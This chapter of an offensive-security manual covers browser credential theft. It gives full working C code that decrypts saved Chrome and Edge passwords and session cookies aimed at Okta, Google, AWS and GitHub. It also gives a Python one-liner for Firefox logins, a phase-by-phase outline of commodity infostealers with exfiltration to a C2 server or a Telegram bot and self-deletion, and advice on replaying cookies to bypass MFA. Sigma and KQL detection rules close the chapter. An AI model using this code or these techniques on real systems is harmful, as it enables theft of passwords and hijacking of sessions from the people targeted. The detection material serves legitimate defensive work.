Chapter 130

Browser Credential Theft

Extracting saved passwords and session cookies from Chrome, Firefox, and Edge: SQLite login databases, DPAPI AES-256-GCM decryption, NSS library credential extraction, session cookie hijacking for SSO bypass, and the full infostealer architecture used by commodity malware families like Redline and Vidar.

Scenario

You have code execution as the target user — no admin, no SYSTEM. LSASS is protected, domain creds aren't in scope. But the user saves every password in Chrome and Edge. Their Okta session cookie is active. Their AWS console is open. Stealing the browser's credential database and session cookies gives you: every saved password (SaaS apps, internal portals, dev tools), active SSO sessions without knowing the password, and potentially cloud access keys stored in browser localStorage. No admin required — the DPAPI encryption key is tied to the user's login session, and you're running as that user.

Chrome Credential Storage Architecture

Chrome credential storage (Windows): Password database: SQLite file Path: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data Table: logins Columns: origin_url, username_value, password_value (encrypted blob) Encryption scheme (Chrome 80+, "v10" prefix): password_value format: "v10" + nonce(12 bytes) + ciphertext + auth_tag(16 bytes) Algorithm: AES-256-GCM Key: AES-256 key stored encrypted in Local State file Key location: %LOCALAPPDATA%\Google\Chrome\User Data\Local State JSON path: $.os_crypt.encrypted_key Encoding: base64 Protected by: Windows DPAPI (CryptUnprotectData) DPAPI scope: current user — only the logged-in user can decrypt Decryption steps: 1. Read Local State → base64-decode encrypted_key 2. Strip "DPAPI" prefix (5 bytes) 3. CryptUnprotectData(encrypted_key_minus_prefix) → 32-byte AES key 4. Read Login Data SQLite → fetch password_value for each entry 5. Strip "v10" prefix (3 bytes) from password_value 6. Extract nonce = bytes[0:12], ciphertext = bytes[12:-16], tag = bytes[-16:] 7. AES-256-GCM decrypt(key, nonce, ciphertext, tag) → plaintext password Legacy format (Chrome < 80, rare now): password_value = CryptProtectData blob (DPAPI directly on the password) No "v10" prefix — check and handle both formats

Chrome Decryption — Full C Implementation

// Full Chrome password decryptor
// Dependencies: SQLite3 (static link), Windows BCrypt, Crypt32
// No admin required — runs as current user

#include <windows.h>
#include <wincrypt.h>
#include <bcrypt.h>
#include <sqlite3.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "bcrypt.lib")

// Step 1: Extract AES-256 key from Local State (DPAPI-protected)
BOOL GetChromeAESKey(BYTE* keyOut, DWORD* keyLen) {
    wchar_t path[MAX_PATH];
    SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, path);
    wcscat(path, L"\\Google\\Chrome\\User Data\\Local State");

    // Read entire JSON file
    HANDLE hF = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
                              NULL, OPEN_EXISTING, 0, NULL);
    if (hF == INVALID_HANDLE_VALUE) return FALSE;
    DWORD fSize = GetFileSize(hF, NULL);
    BYTE* jsonBuf = (char*)malloc(fSize + 1);
    DWORD r; ReadFile(hF, jsonBuf, fSize, &r, NULL); jsonBuf[fSize] = 0;
    CloseHandle(hF);

    // Parse "encrypted_key":"<base64>" from JSON (simple string search)
    const char* tag = "\"encrypted_key\":\"";
    char* pos = strstr((char*)jsonBuf, tag);
    if (!pos) { free(jsonBuf); return FALSE; }
    pos += strlen(tag);
    char b64[512] = {0};
    char* end = strchr(pos, '"');
    strncpy(b64, pos, end - pos);
    free(jsonBuf);

    // Base64 decode the encrypted key
    BYTE encKey[384]; DWORD encKeyLen = sizeof(encKey);
    CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, encKey, &encKeyLen, NULL, NULL);

    // Strip "DPAPI" prefix (5 bytes): encKey+5, encKeyLen-5
    DATA_BLOB input = { encKeyLen - 5, encKey + 5 };
    DATA_BLOB output = {0};
    if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output))
        return FALSE;

    memcpy(keyOut, output.pbData, output.cbData);
    *keyLen = output.cbData;
    LocalFree(output.pbData);
    return TRUE;
}

// Step 2: AES-256-GCM decrypt one password blob
BOOL DecryptV10Password(BYTE* blob, DWORD blobLen, BYTE* aesKey,
                         BYTE* plainOut, DWORD* plainLen) {
    if (blobLen < 31 || memcmp(blob, "v10", 3) != 0) return FALSE;

    BYTE* nonce      = blob + 3;           // 12 bytes
    BYTE* ciphertext = blob + 15;          // variable
    DWORD cipherLen  = blobLen - 3 - 12 - 16;
    BYTE* tag        = blob + blobLen - 16;

    BCRYPT_ALG_HANDLE hAlg;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (BYTE*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);

    BCRYPT_KEY_HANDLE hKey;
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, aesKey, 32, 0);

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
    BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
    authInfo.pbNonce   = nonce;  authInfo.cbNonce   = 12;
    authInfo.pbTag     = tag;    authInfo.cbTag     = 16;
    authInfo.dwFlags   = BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG;

    ULONG outLen;
    NTSTATUS s = BCryptDecrypt(hKey, ciphertext, cipherLen, &authInfo,
                                NULL, 0, plainOut, cipherLen, &outLen, 0);
    plainOut[outLen] = 0;
    *plainLen = outLen;
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return NT_SUCCESS(s);
}

// Step 3: Walk Login Data SQLite and print credentials
void DumpChromePasswords() {
    BYTE aesKey[32]; DWORD keyLen;
    if (!GetChromeAESKey(aesKey, &keyLen)) return;

    wchar_t dbPath[MAX_PATH];
    SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, dbPath);
    wcscat(dbPath, L"\\Google\\Chrome\\User Data\\Default\\Login Data");

    // SQLite is locked while Chrome runs — copy to temp first
    wchar_t tmpPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tmpPath);
    wcscat(tmpPath, L"\\ld_copy.db");
    CopyFileW(dbPath, tmpPath, FALSE);

    sqlite3* db;
    if (sqlite3_open16(tmpPath, &db) != SQLITE_OK) return;

    sqlite3_stmt* stmt;
    sqlite3_prepare_v2(db,
        "SELECT origin_url, username_value, password_value FROM logins",
        -1, &stmt, NULL);

    while (sqlite3_step(stmt) == SQLITE_ROW) {
        const char* url  = (const char*)sqlite3_column_text(stmt, 0);
        const char* user = (const char*)sqlite3_column_text(stmt, 1);
        BYTE* blob = (void*)sqlite3_column_blob(stmt, 2);
        DWORD blen = sqlite3_column_bytes(stmt, 2);

        BYTE plain[2048]; DWORD plen;
        if (DecryptV10Password(blob, blen, aesKey, plain, &plen))
            printf("URL: %s | User: %s | Pass: %s\n", url, user, plain);
    }
    sqlite3_finalize(stmt);
    sqlite3_close(db);
    DeleteFileW(tmpPath);
}

Firefox — NSS Library Decryption

# Firefox uses Mozilla's NSS (Network Security Services) for credential encryption.
# Passwords stored in: %APPDATA%\Mozilla\Firefox\Profiles\\logins.json
# Key database: key4.db (SQLite), or key3.db (legacy BerkeleyDB)
# Encryption: PBE-based using NSS3.dll — 3DES-CBC or AES-256-CBC + master password

# Tool approach (no NSS reinvention):
# Firefox Master Password = "" (default) → trivially bypassed
# When master password = "": PBE key derived from empty string → decryptable

# Automated extraction (Python — leverages NSS DLL directly):
python3 -c "
import ctypes, json, os, sqlite3

nss = ctypes.CDLL('C:/Program Files/Mozilla Firefox/nss3.dll')
profile = os.path.expanduser('~') + r'/AppData/Roaming/Mozilla/Firefox/Profiles'
profile = [os.path.join(profile, d) for d in os.listdir(profile) if 'default' in d][0]

nss.NSS_Init(profile.encode())
nss.PK11SDR_Decrypt.restype = ctypes.c_int

# Read logins.json
with open(os.path.join(profile, 'logins.json')) as f:
    logins = json.load(f)['logins']

class SECItem(ctypes.Structure):
    _fields_ = [('type', ctypes.c_uint), ('data', ctypes.c_char_p), ('len', ctypes.c_uint)]

import base64
for login in logins:
    for field in ['encryptedUsername', 'encryptedPassword']:
        enc = base64.b64decode(login[field])
        inp = SECItem(0, enc, len(enc))
        out = SECItem(0, None, 0)
        if nss.PK11SDR_Decrypt(ctypes.byref(inp), ctypes.byref(out), None) == 0:
            print(login['hostname'], field, ctypes.string_at(out.data, out.len).decode())
"

Browser Credential Locations

BrowserLogin DatabaseKey LocationEncryption
Chrome%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login DataLocal State: os_crypt.encrypted_keyAES-256-GCM (DPAPI-wrapped key)
Microsoft Edge%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login DataLocal State: os_crypt.encrypted_keyIdentical to Chrome (same Chromium base)
Brave%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\Login DataSame pattern as ChromeSame as Chrome
Opera%APPDATA%\Opera Software\Opera Stable\Login DataSame Chromium patternSame as Chrome
Firefox%APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.jsonkey4.db in same profile dirNSS PBE + 3DES-CBC / AES-256-CBC

Session Cookie Theft and SSO Bypass

// Chrome session cookies: same SQLite pattern
// File: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
// Table: cookies
// Columns: host_key, name, value, encrypted_value
// encrypted_value uses same v10/AES-256-GCM scheme as passwords

void DumpChromeCookies(BYTE* aesKey) {
    // Copy Cookies DB (locked by Chrome when running)
    wchar_t dbPath[MAX_PATH], tmpPath[MAX_PATH];
    SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, dbPath);
    wcscat(dbPath, L"\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
    GetTempPathW(MAX_PATH, tmpPath); wcscat(tmpPath, L"\\ck_copy.db");
    CopyFileW(dbPath, tmpPath, FALSE);

    sqlite3* db; sqlite3_open16(tmpPath, &db);
    sqlite3_stmt* stmt;
    sqlite3_prepare_v2(db,
        "SELECT host_key, name, encrypted_value FROM cookies "
        "WHERE host_key LIKE '%.okta.%' OR host_key LIKE '%.google.%' "
        "   OR host_key LIKE '%.amazon.%' OR host_key LIKE '%.github.%'",
        -1, &stmt, NULL);

    while (sqlite3_step(stmt) == SQLITE_ROW) {
        const char* host = (const char*)sqlite3_column_text(stmt, 0);
        const char* name = (const char*)sqlite3_column_text(stmt, 1);
        BYTE* blob = (void*)sqlite3_column_blob(stmt, 2);
        DWORD blen = sqlite3_column_bytes(stmt, 2);
        BYTE plain[4096]; DWORD plen;
        if (DecryptV10Password(blob, blen, aesKey, plain, &plen))
            printf("Set-Cookie: %s=%s; Domain=%s\n", name, plain, host);
    }
    sqlite3_finalize(stmt); sqlite3_close(db);
    DeleteFileW(tmpPath);
}

// Session cookie use: import into Burp/browser to hijack active sessions
// Target high-value cookies:
//   .okta.com: sid=... → full Okta SSO access (controls AD + all apps)
//   accounts.google.com: SID, HSID, SSID → Google Workspace
//   .github.com: user_session=... → all repos
//   .aws.amazon.com: aws-creds=... → AWS console session
// Cookie theft bypasses MFA — session is already authenticated

Infostealer Architecture Pattern

Commodity infostealer collection pattern (Redline, Vidar, Raccoon, StealC): Phase 1: Fingerprint target GetSystemInfo, GetComputerNameW, GetUserNameW Screenshot via GDI BitBlt Installed software (HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall) IP geolocation via HTTP to api.ipify.org Phase 2: Browser credential sweep Enumerate all Chromium profiles: User Data\Default, Profile 1, Profile 2... Decrypt AES key from each profile's Local State Dump Login Data (passwords) + Cookies (sessions) + History (visited URLs) Firefox: enumerate profile dirs, run NSS decrypt Phase 3: Additional credential sources FileZilla: sitemanager.xml (plaintext FTP creds) WinSCP: registry HKCU\Software\Martin Prikryl (plaintext or encrypted) Windows Credential Manager: CryptUnprotectData on each vault entry Email clients: Thunderbird, Outlook profiles Crypto wallets: Exodus, MetaMask (extension profile), Electrum wallet.dat Phase 4: File collection (if configured) Search desktop, documents, downloads for: *.txt, *.doc, *.pdf, *pass*, *wallet* Limit by file size (< 5 MB to avoid slow exfil) Phase 5: Exfiltration ZIP everything in-memory POST multipart/form-data to C2 panel Or: Telegram Bot API (token embedded in binary) Clean up temp files + self-delete (del /f /q %~f0 from cmd)

Detection Engineering

-- Sigma: browser credential database accessed by non-browser process
title: Suspicious Access to Browser Login Database
logsource:
  product: windows
  category: file_access
detection:
  selection:
    TargetFilename|contains:
      - '\Google\Chrome\User Data\Default\Login Data'
      - '\Microsoft\Edge\User Data\Default\Login Data'
      - '\Mozilla\Firefox\Profiles\'
    TargetFilename|endswith:
      - '\Login Data'
      - 'logins.json'
      - '\Cookies'
  filter_browser:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  condition: selection AND NOT filter_browser
level: high

-- Sigma: CryptUnprotectData called by unexpected process (DPAPI credential access)
title: DPAPI CryptUnprotectData for Browser Key (MDE BehaviorEvent)
-- Best detected via MDE BrowserCredentialAccessEvent or DeviceEvents
-- TargetProcessFileName = chrome.exe accessed by non-chrome process

-- MDE KQL: browser credential file copy to temp
DeviceFileEvents
| where FileName in~ ("Login Data", "Cookies", "logins.json", "key4.db")
| where FolderPath !contains InitiatingProcessFolderPath
| where InitiatingProcessFileName !in~ ("chrome.exe", "msedge.exe", "firefox.exe",
                                         "brave.exe", "opera.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Q&A

Does stealing Chrome cookies still work if the user has MFA on their accounts?

Yes — this is the fundamental problem with cookie-based session management. When a user completes MFA and authenticates to a web application, the server issues a session cookie (e.g., sid=... for Okta, user_session=... for GitHub) that represents an already-authenticated session. The cookie contains a reference to the server-side session state, which includes the fact that MFA was completed. When you steal that cookie and replay it in a new browser, the server sees a valid authenticated session token — the MFA was already done, and the session is valid. From the server's perspective, this is indistinguishable from the legitimate user browsing from a new tab. This attack bypasses MFA entirely because MFA happens at login time, not at request time. Mitigations: device binding (session tied to client certificate installed in the browser — an attacker with just the cookie but not the cert gets rejected), IP binding (sessions invalidated on IP change — fragile and breaks legitimate roaming), short session lifetimes (force re-authentication every hour — cookies expire before they can be stolen and used), and browser-bound session tokens (Chrome's DBSC proposal — binds session keys to a TPM-resident private key, making cookie export useless). As of 2024, most enterprise SaaS applications do not implement device binding, making session cookie theft the highest-ROI post-exploitation credential access technique available.